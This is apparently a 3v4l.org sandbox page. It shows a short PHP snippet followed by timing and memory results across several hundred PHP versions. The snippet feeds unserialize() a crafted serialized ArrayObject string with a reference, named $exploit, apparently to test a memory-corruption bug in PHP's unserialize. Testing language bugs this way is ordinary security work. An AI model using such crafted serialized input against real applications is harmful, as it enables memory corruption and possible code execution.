3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 'x:i:1234;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.00916.50
8.3.50.0120.00621.18
8.3.40.0120.00618.66
8.3.30.0090.00618.46
8.3.20.0110.00320.26
8.3.10.0050.00321.77
8.3.00.0040.00419.68
8.2.180.0090.00918.06
8.2.170.0140.00022.96
8.2.160.0000.01320.52
8.2.150.0080.00024.18
8.2.140.0000.00724.66
8.2.130.0030.00626.16
8.2.120.0030.00617.63
8.2.110.0070.00422.20
8.2.100.0040.00817.75
8.2.90.0030.00519.39
8.2.80.0000.00817.97
8.2.70.0040.00417.63
8.2.60.0060.00317.93
8.2.50.0040.00418.07
8.2.40.0060.00319.25
8.2.30.0000.00818.00
8.2.20.0030.00617.74
8.2.10.0030.00518.18
8.2.00.0000.00918.06
8.1.280.0100.00325.92
8.1.270.0000.00720.33
8.1.260.0030.00526.35
8.1.250.0070.00028.09
8.1.240.0100.00722.42
8.1.230.0070.00417.48
8.1.220.0030.00617.79
8.1.210.0040.00418.77
8.1.200.0060.00317.35
8.1.190.0030.00517.23
8.1.180.0060.00318.10
8.1.170.0030.00518.71
8.1.160.0000.00722.00
8.1.150.0070.00018.80
8.1.140.0000.00917.49
8.1.130.0030.00317.75
8.1.120.0050.00317.33
8.1.110.0020.00617.34
8.1.100.0040.00417.48
8.1.90.0000.00717.37
8.1.80.0060.00317.50
8.1.70.0040.00417.38
8.1.60.0050.00317.58
8.1.50.0080.00017.48
8.1.40.0000.00917.38
8.1.30.0040.00417.67
8.1.20.0030.00517.58
8.1.10.0070.00017.64
8.1.00.0040.00417.47
8.0.300.0050.00518.77
8.0.290.0000.00716.88
8.0.280.0000.00718.37
8.0.270.0030.00317.17
8.0.260.0060.00317.30
8.0.250.0000.00717.03
8.0.240.0050.00217.07
8.0.230.0000.00817.05
8.0.220.0000.00616.89
8.0.210.0040.00416.87
8.0.200.0060.00017.03
8.0.190.0070.00016.89
8.0.180.0040.00417.00
8.0.170.0040.00416.88
8.0.160.0000.00716.91
8.0.150.0030.00416.90
8.0.140.0050.00316.82
8.0.130.0030.00313.36
8.0.120.0050.00316.89
8.0.110.0040.00416.87
8.0.100.0080.00016.87
8.0.90.0070.00017.07
8.0.80.0140.00416.97
8.0.70.0000.00716.94
8.0.60.0040.00416.98
8.0.50.0040.00416.97
8.0.30.0110.00717.30
8.0.20.0150.00517.40
8.0.10.0080.00017.04
8.0.00.0070.01416.85
7.4.330.0050.00015.08
7.4.320.0000.00616.63
7.4.300.0000.00616.61
7.4.290.0000.00716.61
7.4.280.0000.00716.59
7.4.270.0070.00016.62
7.4.260.0080.00316.49
7.4.250.0000.00816.57
7.4.240.0000.00816.55
7.4.230.0000.00716.45
7.4.220.0080.01116.40
7.4.210.0030.01216.39
7.4.200.0070.00016.26
7.4.160.0080.00816.46
7.4.150.0130.01317.40
7.4.140.0090.01117.86
7.4.130.0090.00716.56
7.4.120.0080.00916.61
7.4.110.0130.00416.48
7.4.100.0090.00616.34
7.4.90.0100.01016.44
7.4.80.0100.01019.39
7.4.70.0090.00916.42
7.4.60.0110.00516.37
7.4.50.0000.00716.27
7.4.40.0080.00816.68
7.4.30.0030.01416.66
7.4.10.0100.00614.77
7.4.00.0030.01314.81
7.3.330.0030.00313.07
7.3.320.0000.00613.26
7.3.310.0000.00716.26
7.3.300.0000.00616.38
7.3.290.0060.01016.28
7.3.280.0080.00716.33
7.3.270.0030.01517.40
7.3.260.0080.00816.63
7.3.250.0130.00816.45
7.3.240.0100.00716.55
7.3.230.0100.01316.39
7.3.210.0070.01116.64
7.3.200.0060.01516.23
7.3.190.0190.00316.54
7.3.180.0100.00616.31
7.3.170.0080.00816.49
7.3.160.0070.01016.79
7.3.130.0030.01314.97
7.3.120.0070.01014.84
7.3.110.0090.00914.68
7.3.100.0090.00014.96
7.3.90.0110.00314.82
7.3.80.0040.00814.92
7.3.70.0110.00414.94
7.3.60.0060.00614.92
7.3.50.0070.01314.79
7.3.40.0070.01014.92
7.3.30.0100.00014.89
7.3.20.0120.00316.83
7.3.10.0030.01316.59
7.3.00.0070.00716.54
7.2.330.0090.00916.68
7.2.320.0130.00416.65
7.2.310.0080.00816.51
7.2.300.0000.01716.65
7.2.290.0120.00616.82
7.2.260.0100.00715.09
7.2.250.0060.01015.08
7.2.240.0120.00315.02
7.2.230.0000.01714.81
7.2.220.0000.01514.88
7.2.210.0040.01115.17
7.2.200.0030.01014.90
7.2.190.0080.00815.03
7.2.180.0070.00714.99
7.2.170.0040.01514.68
7.2.160.0070.00714.97
7.2.150.0070.00717.06
7.2.140.0040.00916.83
7.2.130.0090.00616.68
7.2.120.0030.01516.83
7.2.110.0000.01517.04
7.2.100.0080.00417.04
7.2.90.0060.00616.99
7.2.80.0050.01116.75
7.2.70.0070.00316.73
7.2.60.0090.00716.83
7.2.50.0070.00717.09
7.2.40.0030.01016.51
7.2.30.0080.00416.78
7.2.20.0060.00916.90
7.2.10.0080.01216.61
7.2.00.0080.00718.11
7.1.330.0030.01415.83
7.1.320.0060.00615.73
7.1.310.0060.00315.92
7.1.300.0070.00715.70
7.1.290.0120.00015.91
7.1.280.0140.00015.59
7.1.270.0090.00315.70
7.1.260.0030.01315.49
7.1.250.0110.00015.54
7.1.240.0120.00016.06
7.1.230.0110.00015.66
7.1.220.0030.00615.95
7.1.210.0080.00415.84
7.1.200.0070.00615.89
7.1.190.0070.00415.66
7.1.180.0110.00415.81
7.1.170.0030.00615.99
7.1.160.0030.00915.98
7.1.150.0030.00615.84
7.1.140.0080.00815.92
7.1.130.0050.00515.71
7.1.120.0000.01415.75
7.1.110.0060.00315.83
7.1.100.0050.00916.89
7.1.90.0050.00515.92
7.1.80.0100.00615.74
7.1.70.0040.00616.40
7.1.60.0050.00817.50
7.1.50.0090.01116.41
7.1.40.0140.00315.89
7.1.30.0030.00915.54
7.1.20.0090.00315.64
7.1.10.0060.00615.69
7.1.00.0080.03819.04
7.0.330.0040.00715.51
7.0.320.0030.01015.39
7.0.310.0030.01015.46
7.0.300.0060.00615.10
7.0.290.0000.01215.10
7.0.280.0090.00615.43
7.0.270.0000.01315.35
7.0.260.0060.00615.57
7.0.250.0070.00715.25
7.0.240.0100.00715.20
7.0.230.0130.00315.43
7.0.220.0000.01715.61
7.0.210.0030.00915.26
7.0.200.0360.00615.07
7.0.190.0030.00915.48
7.0.180.0040.00415.31
7.0.170.0040.00415.59
7.0.160.0040.00715.18
7.0.150.0070.00715.48
7.0.140.0070.00715.46
7.0.130.0070.01015.63
7.0.120.0070.01115.35
7.0.110.0060.00615.56
7.0.100.0040.00815.61
7.0.90.0060.00915.38
7.0.80.0030.01015.17
7.0.70.0110.00415.50
7.0.60.0070.04317.67
7.0.50.0050.04316.41
7.0.40.0100.03516.95
7.0.30.0130.02616.86
7.0.20.0130.04516.73
7.0.10.0120.04416.83
7.0.00.0060.02616.82
5.6.400.0070.00714.59
5.6.390.0070.01014.45
5.6.380.0030.01014.55
5.6.370.0080.00414.66
5.6.360.0040.00814.63
5.6.350.0080.00414.87
5.6.340.0050.00514.81
5.6.330.0000.01414.23
5.6.320.0000.01614.52
5.6.310.0060.00614.70
5.6.300.0030.01214.18
5.6.290.0070.00714.19
5.6.280.0070.02717.60
5.6.270.0030.00714.45
5.6.260.0040.01014.63
5.6.250.0100.00314.69
5.6.240.0070.01014.41
5.6.230.0000.01014.50
5.6.220.0040.01114.46
5.6.210.0060.02417.47
5.6.200.0070.04316.30
5.6.190.0090.04517.55
5.6.180.0140.02517.53
5.6.170.0130.02717.48
5.6.160.0020.03117.45
5.6.150.0130.02616.32
5.6.140.0020.03216.27
5.6.130.0050.02516.18
5.6.120.0050.04817.77
5.6.110.0070.03817.79
5.6.100.0130.04217.66
5.6.90.0070.02417.75
5.6.80.0030.03517.50
5.6.70.2370.02017.32
5.6.60.0100.00314.61
5.6.50.0040.01114.17
5.6.40.0070.00714.52
5.6.30.0100.00314.27
5.6.20.0130.00314.29
5.6.10.0120.00314.17
5.6.00.0060.01214.38
5.5.380.0030.00914.43
5.5.370.0090.00314.50
5.5.360.0080.00614.48
5.5.350.0040.02017.50
5.5.340.0030.04816.08
5.5.330.0030.02517.34
5.5.320.0160.02817.51
5.5.310.0190.02317.46
5.5.300.0000.02716.16
5.5.290.0110.03316.12
5.5.280.0080.04217.63
5.5.270.0080.03517.57
5.5.260.0100.03117.68
5.5.250.0060.04417.56
5.5.240.0130.04317.15
5.5.230.0000.01114.54
5.5.220.0030.01314.25
5.5.210.0150.00014.36
5.5.200.0140.00414.40
5.5.190.0000.00914.04
5.5.180.0040.01113.87
5.5.170.0060.00914.23
5.5.160.0090.00314.39
5.5.150.0040.00914.29
5.5.140.0060.00614.13
5.5.130.0070.01114.12
5.5.120.0040.01414.17
5.5.110.0030.01014.25
5.5.100.0060.00514.15
5.5.90.0030.01014.42
5.5.80.0030.01014.16
5.5.70.0090.00614.16
5.5.60.0100.00614.25
5.5.50.0060.00614.22
5.5.40.0070.00714.35
5.5.30.0060.00814.65
5.5.20.0060.00914.38
5.5.10.0030.00914.44
5.5.00.0060.00614.07
5.4.450.0150.03115.10
5.4.440.0100.03515.14
5.4.430.0100.03115.02
5.4.420.0160.03115.14
5.4.410.0310.02615.18
5.4.400.0270.02515.25
5.4.390.0100.03015.10
5.4.380.0100.03115.10
5.4.370.0140.02315.14
5.4.360.0070.03215.09
5.4.350.0150.03115.21
5.4.340.0200.03314.76
5.4.330.0030.00611.06
5.4.320.0110.02714.95
5.4.310.0050.03214.87
5.4.300.0270.02214.76
5.4.290.0190.03415.05
5.4.280.0200.02614.88
5.4.270.0300.03215.04
5.4.260.0080.03215.16
5.4.250.0160.02815.06
5.4.240.0130.02514.80
5.4.230.0120.03014.92
5.4.220.0130.03014.95
5.4.210.0170.03715.14
5.4.200.0100.03815.09
5.4.190.0250.04014.77
5.4.180.0280.02814.93
5.4.170.0390.02715.05
5.4.160.0300.03414.89
5.4.150.0220.03614.96
5.4.140.0250.03013.73
5.4.130.0230.03113.72
5.4.120.0330.03413.69
5.4.110.0350.03013.61
5.4.100.0380.02713.92
5.4.90.0290.02813.64
5.4.80.0230.02913.63
5.4.70.0170.03613.51
5.4.60.0190.03913.74
5.4.50.0050.03613.85
5.4.40.0070.03713.64
5.4.30.0060.03813.81
5.4.20.0210.02213.62
5.4.10.0060.00611.11
5.4.00.0000.01310.93

preferences:
85.53 ms | 401 KiB | 5 Q